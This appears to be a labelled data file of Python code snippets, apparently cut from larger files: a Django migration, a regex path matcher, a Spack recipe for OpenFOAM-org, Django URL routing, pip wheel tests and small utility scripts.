{'unique': 'True', 'max_length': '150'}) }, 'projects.project': { 'Meta': {'object_name': 'Project', 'db_table': ""u'project'""}, 'categories': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['home.Category']"", 'null': 'True', 'blank': 'True'}), 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 2, 27, 0, 0)', 'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image_name': ('django.db.models.fields.CharField', [], {'default': ""''"", 'max_length': '255', 'null': 'True', 'blank': 'True'}), 'image_original_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'licence': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 2, 27, 0, 0)', 'null': 'True', 'blank': 'True'}), 'tags': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}), 'type_field': ('django.db.models.fields.IntegerField', [], {'default': '1', 'null': 'True', 'db_column': ""'type'"", 'blank': 'True'}) }, 'projects.projectpart': { 'Meta': {'object_name': 'ProjectPart', 'db_table': ""u'project_part'""}, 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 2, 27, 0, 0)', 'null': 'True', 'blank': 'True'}), 'created_user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': ""'projectpart_created_user'"", 'to': ""orm['auth.User']""}), 'drive_id': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 2, 27, 0, 0)', 'null': 'True', 'blank': 'True'}), 'modified_user': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'projectpart_modified_user'"", 'null': 'True', 'to': ""orm['auth.User']""}), 'order': ('django.db.models.fields.IntegerField', [], {'null': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['projects.Project']""}), 'project_part': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['projects.ProjectPart']"", 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, 'projects.userproject': { 'Meta': {'object_name': 'UserProject', 'db_table': ""u'user_project'""}, 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 2, 27, 0, 0)', 'null': 'True', 'blank': 'True'}), 'created_user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': ""'userproject_created_user'"", 'to': ""orm['auth.User']""}), 'drive_auth': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'modified_user': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'userproject_modified_user'"", 'null': 'True', 'to': ""orm['auth.User']""}), 'permission': ('django.db.models.fields.CharField', [], {'default': '0', 'max_length': '255'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['projects.Project']"", 'db_column': ""'project_id'""}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['auth.User']""}) } } complete_apps = ['projects']",1 "'^.*?/bc_jpg_makerDrop/(crop_fullsize_pad_anchor)/?.*?/(\d{9}(.*?))\.(.*?)$', r'^.*?/bfly_jpg_makerDrop/(crop_fullsize_center)/?.*?/(\d{9}(.*?))\.(.*?)$', r'^.*?/bfly_jpg_makerDrop/(crop_fullsize_anchor)/?.*?/(\d{9}(.*?))\.(.*?)$']*10 strings = [""/mnt/Post_Complete/Complete_to_Load/nature_center/bc_jpg_makerDrop/crop_fullsize_pad_anchor/346470409.png"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bc_jpg_makerDrop/crop_fullsize_pad_center/346470408_1.jpg"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bc_jpg_makerDrop/crop_fullsize_pad_anchor/346470407_alt01.png"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bc_jpg_makerDrop/crop_fullsize_pad_center/346470406_1.png"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bfly_jpg_makerDrop/crop_fullsize_anchor/346880405.png"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bfly_jpg_makerDrop/crop_fullsize_center/346470404_1.jpg"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bfly_jpg_makerDrop/crop_fullsize_center/346470403.png"", ""/mnt/Post_Complete/Complete_to_Load/nature_center/bfly_jpg_makerDrop/crop_fullsize_anchor/336470402.jpg""]*10 def matches_pattern(str, patterns): for pattern in patterns: if pattern.match(str): return pattern.match(str), pattern return False def regex_matcherator(strings,patterns): import re compiled_patterns = list(map(re.compile, patterns)) for s in strings: if matches_pattern(s, compiled_patterns): print matches_pattern(s, compiled_patterns)[1].pattern print '--'.join(s.split('/')[-2:]) print matches_pattern(s, compiled_patterns)[0].groups() print '\n' r = regex_matcherator(strings,patterns) #print r.next()",1 "th sample = sys.argv[1] family,sample_only = sample.split(""_"") match = re.match('\d*',family) if match: prefix=str(int(match.group(0))/100) report_path = prefix+'x/'+family report=0 bam=0 errors = [] if os.path.isfile(report_path+'/'+family+'.csv'): #print(""Report exists"") report=1 else: errors.append('Error: no report') if os.path.isfile(report_path+'/'+sample+'.bam'): #print(""Bam exists"") bam=1 else: errors.append(' ERROR: no bam') if (bam==1 and report==1): print(sample+'\t'+os.getcwd()+""/""+report_path+""\t""+os.getcwd()+""/""+report_path+'/'+sample+'.bam') else: print(sample+'\t'+' '.join(errors)) else: print(""Family ID is not starting with digital"") ",1 "nt(stars) self._watchs = int(watchs) @property def forks(self): return self._forks @property def stars(self): return self._stars @property def watchs(self): return self._watchs class GIndex(object): def calculate(self, project): return project.forks * 3 + project.stars + project.watchs class ProjectRepositoryService(object): def __init__(self, conector): self.conector = conector self.project_factory = ProjectFactory() def find(self, user, repo_name): raw_json = self._read_repo(user, repo_name) return self.project_factory.build_from(raw_json) def _read_repo(self, user, repo_name): repos = self.conector.read_all(user) for repo in repos: if repo['name'] == repo_name: return repo return None class ProjectFactory(object): def build_from(self, json_project): return Project(json_project['forks_count'], json_project['watchers_count'], json_project['stargazers_count'])",1 "# SPDX-License-Identifier: (Apache-2.0 OR MIT) # # Original Author: Mark Olesen # # Legal Notice # ------------ # OPENFOAM is a trademark owned by OpenCFD Ltd # (producer and distributor of the OpenFOAM software via www.openfoam.com). # The trademark information must remain visible and unadulterated in this # file and via the ""spack info"" and comply with the term set by # http://openfoam.com/legal/trademark-policy.php # # This file is not part of OpenFOAM, nor does it constitute a component of an # OpenFOAM distribution. # ############################################################################## # # Notes # - The openfoam-org package is a modified version of the openfoam package. # If changes are needed here, consider if they should also be applied there. # # - mpi handling: WM_MPLIB=SYSTEMMPI and populate prefs.{csh,sh} with values # from spack. # # - Building with boost/cgal is not included, since some of the logic is not # entirely clear and thus untested. # - Resolution of flex, zlib needs more attention (within OpenFOAM) # # Known issues # - Combining +zoltan with +int64 has not been tested, but probably won't work. # - Combining +mgridgen with +int64 or +float32 probably won't work. # ############################################################################## import glob import os import re import llnl.util.tty as tty from spack import * from spack.pkg.builtin.openfoam import ( OpenfoamArch, add_extra_files, mplib_content, rewrite_environ_files, write_environ, ) from spack.util.environment import EnvironmentModifications class OpenfoamOrg(Package): """"""OpenFOAM is a GPL-opensource C++ CFD-toolbox. The openfoam.org release is managed by the OpenFOAM Foundation Ltd as a licensee of the OPENFOAM trademark. This offering is not approved or endorsed by OpenCFD Ltd, producer and distributor of the OpenFOAM software via www.openfoam.com, and owner of the OPENFOAM trademark. """""" homepage = ""https://www.openfoam.org/"" baseurl = ""https://github.com/OpenFOAM"" url = ""https://github.com/OpenFOAM/OpenFOAM-4.x/archive/version-4.1.tar.gz"" git = ""https://github.com/OpenFOAM/OpenFOAM-dev.git"" version('develop', branch='master') version('8', sha256='94ba11cbaaa12fbb5b356e01758df403ac8832d69da309a5d79f76f42eb008fc', url=baseurl + '/OpenFOAM-8/archive/version-8.tar.gz') version('7', sha256='12389cf092dc032372617785822a597aee434a50a62db2a520ab35ba5a7548b5', url=baseurl + '/OpenFOAM-7/archive/version-7.tar.gz') version('6', sha256='32a6af4120e691ca2df29c5b9bd7bc7a3e11208947f9bccf6087cfff5492f025', url=baseurl + '/OpenFOAM-6/archive/version-6.tar.gz') version('5.0', sha256='9057d6a8bb9fa18802881feba215215699065e0b3c5cdd0c0e84cb29c9916c89', url=baseurl + '/OpenFOAM-5.x/archive/version-5.0.tar.gz') version('4.1', sha256='2de18de64e7abdb1b649ad8e9d2d58b77a2b188fb5bcb6f7c2a038282081fd31', url=baseurl + '/OpenFOAM-4.x/archive/version-4.1.tar.gz') version('2.4.0', sha256='9529aa7441b64210c400c019dcb2e0410fcfd62a6f62d23b6c5994c4753c4465', url=baseurl + '/OpenFOAM-2.4.x/archive/version-2.4.0.tar.gz') version('2.3.1', sha256='2bbcf4d5932397c2087a9b6d7eeee6d2b1350c8ea4f455415f05e7cd94d9e5ba', url='http://downloads.sourceforge.net/foam/OpenFOAM-2.3.1.tgz') variant('int64', default=False, description='Compile with 64-bit label') variant('float32', default=False, description='Compile with 32-bit scalar (single-precision)') variant('source', default=True, description='Install library/application sources and tutorials') variant('metis', default=False, description='With metis decomposition') depends_on('mpi') depends_on('zlib') depends_on('flex') depends_on('cmake', type='build') # Require scotch with ptscotch - corresponds to standard OpenFOAM setup depends_on('scotch~metis+mpi~int64', when='~int64') depends_on('scotch~metis+mpi+int64', when='+int64') depends_on('metis@5:', when='+metis') depends_on('metis+int64', when='+metis+int64') # General patches - foamEtcFile as per openfoam.com (robuster) common = ['spack-Allwmake', 'README-spack'] assets = ['bin/foamEtcFile'] # Version-specific patches patch('https://github.com/OpenFOAM/OpenFOAM-7/commit/ef33cf38ac9b811072a8970c71fbda35a90f6641.patch', sha256='73103e6b1bdbf3b1e0d517cbbd11562e98c6e9464df5f43e5125e9a5b457d1c5', when='@7') patch('50-etc.patch', when='@5.0:5.9') patch('41-etc.patch', when='@4.1') patch('41-site.patch', when='@4.1:') patch('240-etc.patch', when='@:2.4.0') patch('isnan.patch', when='@:2.4.0') # Add support for SYSTEMMPI patch('https://github.com/OpenFOAM/OpenFOAM-2.3.x/commit/ae9a670c99472787f3a5446ac2b522bf3519b796.patch', sha256='6c4c535baca3ce64035d512265c4ce8effd39de7602c923c5e19985db68b632a', when='@:2.3.1') # The openfoam architecture, compiler information etc _foam_arch = None # Content for etc/prefs.{csh,sh} etc_prefs = {} # Content for etc/config.{csh,sh}/ files etc_config = {} phases = ['configure', 'build', 'install'] build_script = './spack-Allwmake' # <- Added by patch() method. # # - End of definitions / setup - # # Some user config settings @property def config(self): settings = { # Use SYSTEMMPI since openfoam-org doesn't have USERMPI 'mplib': 'SYSTEMMPI', # Add links into bin/, lib/ (eg, for other applications) 'link': False, } # OpenFOAM v2.4 and earlier lacks WM_LABEL_OPTION if self.spec.satisfies('@:2.4'): settings['label-size'] = False return settings def setup_run_environment(self, env): bashrc = self.prefix.etc.bashrc try: env.extend(EnvironmentModifications.from_sourcing_file( bashrc, clean=True )) except Exception as e: msg = 'unexpected error when sourcing OpenFOAM bashrc [{0}]' tty.warn(msg.format(str(e))) def setup_dependent_build_environment(self, env, dependent_spec): """"""Location of the OpenFOAM project directory. This is identical to the WM_PROJECT_DIR value, but we avoid that variable since it would mask the normal OpenFOAM cleanup of previous versions. """""" env.set('FOAM_PROJECT_DIR', self.projectdir) def setup_dependent_run_environment(self, env, dependent_spec): """"""Location of the OpenFOAM project directory. This is identical to the WM_PROJECT_DIR value, but we avoid that variable since it would mask the normal OpenFOAM cleanup of previous versions. """""" env.set('FOAM_PROJECT_DIR', self.projectdir) @property def projectdir(self): """"""Absolute location of project directory: WM_PROJECT_DIR/"""""" return self.prefix # <- install directly under prefix @property def foam_arch(self): if not self._foam_arch: self._foam_arch = OpenfoamOrgArch(self.spec, **self.config) return self._foam_arch @property def archbin(self): """"""Relative location of architecture-specific executables"""""" return join_path('platforms', self.foam_arch, 'bin') @property def archlib(self): """"""Relative location of architecture-specific libraries"""""" return join_path('platforms', self.foam_arch, 'lib') def rename_source(self): """"""This is fairly horrible. The github tarfiles have weird names that do not correspond to the canonical name. We need to rename these, but leave a symlink for spack to work with. """""" # Note that this particular OpenFOAM requires absolute directories # to build correctly! parent = os.path.dirname(self.stage.source_path) original = os.path.basename(self.stage.source_path) target = 'OpenFOAM-{0}'.format(self.version) # Could also grep through etc/bashrc for WM_PROJECT_VERSION with working_dir(parent): if original != target and not os.path.lexists(target): os.rename(original, target) os.symlink(target, original) tty.info('renamed {0} -> {1}'.format(original, target)) def patch(self): """"""Adjust OpenFOAM build for spack. Where needed, apply filter as an alternative to normal patching."""""" self.rename_source() add_extra_files(self, self.common, self.assets) # Avoid WM_PROJECT_INST_DIR for ThirdParty, site or jobControl. # Use openfoam-site.patch to handle jobControl, site. # # Filtering: bashrc,cshrc (using a patch is less flexible) edits = { 'WM_THIRD_PARTY_DIR': r'$WM_PROJECT_DIR/ThirdParty #SPACK: No separate third-party', 'WM_VERSION': str(self.version), # consistency 'FOAMY_HEX_MESH': '', # This is horrible (unset variable?) } rewrite_environ_files( # Adjust etc/bashrc and etc/cshrc edits, posix=join_path('etc', 'bashrc'), cshell=join_path('etc', 'cshrc')) def configure(self, spec, prefix): """"""Make adjustments to the OpenFOAM configuration files in their various locations: etc/bashrc, etc/config.sh/FEATURE and customizations that don't properly fit get placed in the etc/prefs.sh file (similiarly for csh). """""" # Filtering bashrc, cshrc edits = {} edits.update(self.foam_arch.foam_dict()) rewrite_environ_files( # Adjust etc/bashrc and etc/cshrc edits, posix=join_path('etc', 'bashrc'), cshell=join_path('etc', 'cshrc')) # MPI content, with absolute paths user_mpi = mplib_content(spec) # Content for etc/prefs.{csh,sh} self.etc_prefs = { r'MPI_ROOT': spec['mpi'].prefix, # Absolute r'MPI_ARCH_FLAGS': '""%s""' % user_mpi['FLAGS'], r'MPI_ARCH_INC': '""%s""' % user_mpi['PINC'], r'MPI_ARCH_LIBS': '""%s""' % user_mpi['PLIBS'], } # Content for etc/config.{csh,sh}/ files self.etc_config = { 'CGAL': {}, 'scotch': {}, 'metis': {}, 'paraview': [], 'gperftools': [], # Currently unused } if True: self.etc_config['scotch'] = { 'SCOTCH_ARCH_PATH': spec['scotch'].prefix, # For src/parallel/decompose/Allwmake 'SCOTCH_VERSION': 'scotch-{0}'.format(spec['scotch'].version), } if '+metis' in spec: self.etc_config['metis'] = { 'METIS_ARCH_PATH': spec['metis'].prefix, } # Write prefs files according to the configuration. # Only need prefs.sh for building, but install both for end-users if self.etc_prefs: write_environ( self.etc_prefs, posix=join_path('etc', 'prefs.sh'), cshell=join_path('etc', 'prefs.csh')) # Adjust components to use SPACK variants for component, subdict in self.etc_config.items(): # Versions up to 3.0 used an etc/config/component.sh naming # convention instead of etc/config.sh/component if spec.satisfies('@:3.0'): write_environ( subdict, posix=join_path('etc', 'config', component) + '.sh', cshell=join_path('etc', 'config', component) + '.csh') else: write_environ( subdict, posix=join_path('etc', 'config.sh', component), cshell=join_path('etc', 'config.csh', component)) def build(self, spec, prefix): """"""Build using the OpenFOAM Allwmake script, with a wrapper to source its environment first. Only build if the compiler is known to be supported. """""" self.foam_arch.has_rule(self.stage.source_path) self.foam_arch.create_rules(self.stage.source_path, self) args = [] if self.parallel: # Build in parallel? - pass via the environment os.environ['WM_NCOMPPROCS'] = str(make_jobs) builder = Executable(self.build_script) builder(*args) def install(self, spec, prefix): """"""Install under the projectdir"""""" mkdirp(self.projectdir) projdir = os.path.basename(self.projectdir) # Filtering: bashrc, cshrc edits = { 'WM_PROJECT_INST_DIR': os.path.dirname(self.projectdir), 'WM_PROJECT_DIR': join_path('$WM_PROJECT_INST_DIR', projdir), } # All top-level files, except spack build info and possibly Allwmake if '+source' in spec: ignored = re.compile(r'^spack-.*') else: ignored = re.compile(r'^(Allwmake|spack-).*') files = [ f for f in glob.glob(""*"") if os.path.isfile(f) and not ignored.search(f) ] for f in files: install(f, self.projectdir) # Having wmake and ~source is actually somewhat pointless... # Install 'etc' before 'bin' (for symlinks) # META-INFO for 1812 and later (or backported) dirs = ['META-INFO', 'etc', 'bin', 'wmake'] if '+source' in spec: dirs.extend(['applications', 'src', 'tutorials']) for d in dirs: if os.path.isdir(d): install_tree( d, join_path(self.projectdir, d), symlinks=True) dirs = ['platforms'] if '+source' in spec: dirs.extend(['doc']) # Install platforms (and doc) skipping intermediate targets relative_ignore_paths = ['src', 'applications', 'html', 'Guides'] ignore = lambda p: p in relative_ignore_paths for d in dirs: install_tree( d, join_path(self.projectdir, d), ignore=ignore, symlinks=True) etc_dir = join_path(self.projectdir, 'etc') rewrite_environ_files( # Adjust etc/bashrc and etc/cshrc edits, posix=join_path(etc_dir, 'bashrc'), cshell=join_path(etc_dir, 'cshrc')) self.install_links() def install_links(self): """"""Add symlinks into bin/, lib/ (eg, for other applications)"""""" # Make build log visible - it contains OpenFOAM-specific information with working_dir(self.projectdir): os.symlink( join_path(os.path.relpath(self.install_log_path)), join_path('log.' + str(self.foam_arch))) if not self.config['link']: return # ln -s platforms/linux64GccXXX/lib lib with working_dir(self.projectdir): if os.path.isdir(self.archlib): os.symlink(self.archlib, 'lib') # (cd bin && ln -s ../platforms/linux64GccXXX/bin/* .) with working_dir(join_path(self.projectdir, 'bin')): for f in [ f for f in glob.glob(join_path('..', self.archbin, ""*"")) if os.path.isfile(f) ]: os.symlink(f, os.path.basename(f)) # ----------------------------------------------------------------------------- class OpenfoamOrgArch(OpenfoamArch): """"""An openfoam-org variant of OpenfoamArch """""" def update_arch(self, spec): """"""Handle differences in WM_ARCH naming """""" OpenfoamArch.update_arch(self, spec) # ARM64 (openfoam) -> Arm64 (openfoam-org) self.arch = self.arch.replace(""ARM64"", ""Arm64"") ",1 "estContext # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() # Just redirect / to /blog for now until I can # come up with something to put on the homepage.. def to_blog(request): return redirect('/blog/', permanent=False) # Follow the BSD license and allow the source/binary to reproduce # the license and copyright message def sslicense(request): slicense = """""" Copyright (c) 2012-2013 Justin Crawford All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE """""" ctx = { 'parts': { ""title"": ""License"", ""html_title"": ""License"", ""fragment"": slicense.replace('\n', '
    '), }, } return render_to_response('docs/docs.html', RequestContext(request, ctx)) urlpatterns = patterns('', # Examples: # url(r'^$', 'StackSmash.views.home', name='home'), # url(r'^StackSmash/', include('StackSmash.foo.urls')), # TODO: Fix index and use something... Should identify subdomains somehow.. #url(r'^$', include('StackSmash.apps.blog.urls')), url(r'^license/', sslicense, name='license'), #url(r'^docs/', include('StackSmash.apps.docs.urls'), name='docs', app_name='docs'), url(r'^blog/', include('StackSmash.apps.blog.urls', namespace='blog')), url(r'^projects/', include('StackSmash.apps.projects.urls', namespace='projects')), url(r'^upload/', include('StackSmash.apps.uploader.urls', namespace='upload')), url(r'^$', to_blog, name='index'), #url(r'^projects/', include('StackSmash.apps.projects.urls')), # Uncomment the next line to enable the admin: url(r'^admin/', include(admin.site.urls), name='admin'), ) ",1 "m pip import pep425tags, wheel from pip.exceptions import InvalidWheelFilename, UnsupportedWheel from pip.utils import unpack_file def test_get_entrypoints(tmpdir): with open(str(tmpdir.join(""entry_points.txt"")), ""w"") as fp: fp.write("""""" [console_scripts] pip = pip.main:pip """""") assert wheel.get_entrypoints(str(tmpdir.join(""entry_points.txt""))) == ( {""pip"": ""pip.main:pip""}, {}, ) def test_uninstallation_paths(): class dist(object): def get_metadata_lines(self, record): return ['file.py,,', 'file.pyc,,', 'file.so,,', 'nopyc.py'] location = '' d = dist() paths = list(wheel.uninstallation_paths(d)) expected = ['file.py', 'file.pyc', 'file.so', 'nopyc.py', 'nopyc.pyc'] assert paths == expected # Avoid an easy 'unique generator' bug paths2 = list(wheel.uninstallation_paths(d)) assert paths2 == paths def test_wheel_version(tmpdir, data): future_wheel = 'futurewheel-1.9-py2.py3-none-any.whl' broken_wheel = 'brokenwheel-1.0-py2.py3-none-any.whl' future_version = (1, 9) unpack_file(data.packages.join(future_wheel), tmpdir + 'future', None, None) unpack_file(data.packages.join(broken_wheel), tmpdir + 'broken', None, None) assert wheel.wheel_version(tmpdir + 'future') == future_version assert not wheel.wheel_version(tmpdir + 'broken') def test_check_compatibility(): name = 'test' vc = wheel.VERSION_COMPATIBLE # Major version is higher - should be incompatible higher_v = (vc[0] + 1, vc[1]) # test raises with correct error with pytest.raises(UnsupportedWheel) as e: wheel.check_compatibility(higher_v, name) assert 'is not compatible' in str(e) # Should only log.warn - minor version is greator higher_v = (vc[0], vc[1] + 1) wheel.check_compatibility(higher_v, name) # These should work fine wheel.check_compatibility(wheel.VERSION_COMPATIBLE, name) # E.g if wheel to install is 1.0 and we support up to 1.2 lower_v = (vc[0], max(0, vc[1] - 1)) wheel.check_compatibility(lower_v, name) class TestWheelFile(object): def test_std_wheel_pattern(self): w = wheel.Wheel('simple-1.1.1-py2-none-any.whl') assert w.name == 'simple' assert w.version == '1.1.1' assert w.pyversions == ['py2'] assert w.abis == ['none'] assert w.plats == ['any'] def test_wheel_pattern_multi_values(self): w = wheel.Wheel('simple-1.1-py2.py3-abi1.abi2-any.whl') assert w.name == 'simple' assert w.version == '1.1' assert w.pyversions == ['py2', 'py3'] assert w.abis == ['abi1', 'abi2'] assert w.plats == ['any'] def test_wheel_with_build_tag(self): # pip doesn't do anything with build tags, but theoretically, we might # see one, in this case the build tag = '4' w = wheel.Wheel('simple-1.1-4-py2-none-any.whl') assert w.name == 'simple' assert w.version == '1.1' assert w.pyversions == ['py2'] assert w.abis == ['none'] assert w.plats == ['any'] def test_single_digit_version(self): w = wheel.Wheel('simple-1-py2-none-any.whl') assert w.version == '1' def test_missing_version_raises(self): with pytest.raises(InvalidWheelFilename): wheel.Wheel('Cython-cp27-none-linux_x86_64.whl') def test_invalid_filename_raises(self): with pytest.raises(InvalidWheelFilename): wheel.Wheel('invalid.whl') def test_supported_single_version(self): """""" Test single-version wheel is known to be supported """""" w = wheel.Wheel('simple-0.1-py2-none-any.whl') assert w.supported(tags=[('py2', 'none', 'any')]) def test_supported_multi_version(self): """""" Test multi-version wheel is known to be supported """""" w = wheel.Wheel('simple-0.1-py2.py3-none-any.whl') assert w.supported(tags=[('py3', 'none', 'any')]) def test_not_supported_version(self): """""" Test unsupported wheel is known to be unsupported """""" w = wheel.Wheel('simple-0.1-py2-none-any.whl') assert not w.supported(tags=[('py1', 'none', 'any')]) @patch('sys.platform', 'darwin') @patch('pip.pep425tags.get_abbr_impl', lambda: 'cp') @patch('pip.pep425tags.get_platform', lambda: 'macosx_10_9_intel') def test_supported_osx_version(self): """""" Wheels built for OS X 10.6 are supported on 10.9 """""" tags = pep425tags.get_supported(['27'], False) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_6_intel.whl') assert w.supported(tags=tags) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_9_intel.whl') assert w.supported(tags=tags) @patch('sys.platform', 'darwin') @patch('pip.pep425tags.get_abbr_impl', lambda: 'cp') @patch('pip.pep425tags.get_platform', lambda: 'macosx_10_6_intel') def test_not_supported_osx_version(self): """""" Wheels built for OS X 10.9 are not supported on 10.6 """""" tags = pep425tags.get_supported(['27'], False) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_9_intel.whl') assert not w.supported(tags=tags) @patch('sys.platform', 'darwin') @patch('pip.pep425tags.get_abbr_impl', lambda: 'cp') def test_supported_multiarch_darwin(self): """""" Multi-arch wheels (intel) are supported on components (i386, x86_64) """""" with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_universal'): universal = pep425tags.get_supported(['27'], False) with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_intel'): intel = pep425tags.get_supported(['27'], False) with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_x86_64'): x64 = pep425tags.get_supported(['27'], False) with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_i386'): i386 = pep425tags.get_supported(['27'], False) with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_ppc'): ppc = pep425tags.get_supported(['27'], False) with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_ppc64'): ppc64 = pep425tags.get_supported(['27'], False) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_5_intel.whl') assert w.supported(tags=intel) assert w.supported(tags=x64) assert w.supported(tags=i386) assert not w.supported(tags=universal) assert not w.supported(tags=ppc) assert not w.supported(tags=ppc64) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_5_universal.whl') assert w.supported(tags=universal) assert w.supported(tags=intel) assert w.supported(tags=x64) assert w.supported(tags=i386) assert w.supported(tags=ppc) assert w.supported(tags=ppc64) @patch('sys.platform', 'darwin') @patch('pip.pep425tags.get_abbr_impl', lambda: 'cp') def test_not_supported_multiarch_darwin(self): """""" Single-arch wheels (x86_64) are not supported on multi-arch (intel) """""" with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_universal'): universal = pep425tags.get_supported(['27'], False) with patch('pip.pep425tags.get_platform', lambda: 'macosx_10_5_intel'): intel = pep425tags.get_supported(['27'], False) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_5_i386.whl') assert not w.supported(tags=intel) assert not w.supported(tags=universal) w = wheel.Wheel('simple-0.1-cp27-none-macosx_10_5_x86_64.whl') assert not w.supported(tags=intel) assert not w.supported(tags=universal) def test_support_index_min(self): """""" Test results from `support_index_min` """""" tags = [ ('py2', 'none', 'TEST'), ('py2', 'TEST', 'any'), ('py2', 'none', 'any'), ] w = wheel.Wheel('simple-0.1-py2-none-any.whl') assert w.support_index_min(tags=tags) == 2 w = wheel.Wheel('simple-0.1-py2-none-TEST.whl') assert w.support_index_min(tags=tags) == 0 def test_support_index_min_none(self): """""" Test `support_index_min` returns None, when wheel not supported """""" w = wheel.Wheel('simple-0.1-py2-none-any.whl') assert w.support_index_min(tags=[]) is None def test_unpack_wheel_no_flatten(self): from pip import utils from tempfile import mkdtemp from shutil import rmtree filepath = '../data/packages/meta-1.0-py2.py3-none-any.whl' if not os.path.exists(filepath): pytest.skip(""%s does not exist"" % filepath) try: tmpdir = mkdtemp() utils.unpack_file(filepath, tmpdir, 'application/zip', None) assert os.path.isdir(os.path.join(tmpdir, 'meta-1.0.dist-info')) finally: rmtree(tmpdir) pass def test_purelib_platlib(self, data): """""" Test the ""wheel is purelib/platlib"" code. """""" packages = [ (""pure_wheel"", data.packages.join(""pure_wheel-1.7""), True), (""plat_wheel"", data.packages.join(""plat_wheel-1.7""), False), ] for name, path, expected in packages: assert wheel.root_is_purelib(name, path) == expected def test_version_underscore_conversion(self): """""" Test that we convert '_' to '-' for versions parsed out of wheel filenames """""" w = wheel.Wheel('simple-0.1_1-py2-none-any.whl') assert w.version == '0.1-1' class TestPEP425Tags(object): def test_broken_sysconfig(self): """""" Test that pep425tags still works when sysconfig is broken. Can be a problem on Python 2.7 Issue #1074. """""" import pip.pep425tags def raises_ioerror(var): raise IOError(""I have the wrong path!"") with patch('pip.pep425tags.sysconfig.get_config_var', raises_ioerror): assert len(pip.pep425tags.get_supported()) class TestMoveWheelFiles(object): """""" Tests for moving files from wheel src to scheme paths """""" def prep(self, data, tmpdir): self.name = 'sample' self.wheelpath = data.packages.join( 'sample-1.2.0-py2.py3-none-any.whl') self.req = pkg_resources.Requirement.parse('sample') self.src = os.path.join(tmpdir, 'src') self.dest = os.path.join(tmpdir, 'dest') unpack_file(self.wheelpath, self.src, None, None) self.scheme = { 'scripts': os.path.join(self.dest, 'bin'), 'purelib': os.path.join(self.dest, 'lib'), 'data': os.path.join(self.dest, 'data'), } self.src_dist_info = os.path.join( self.src, 'sample-1.2.0.dist-info') self.dest_dist_info = os.path.join( self.scheme['purelib'], 'sample-1.2.0.dist-info') def assert_installed(self): # lib assert os.path.isdir( os.path.join(self.scheme['purelib'], 'sample')) # dist-info metadata = os.path.join(self.dest_dist_info, 'METADATA') assert os.path.isfile(metadata) # data files data_file = os.path.join(self.scheme['data'], 'my_data', 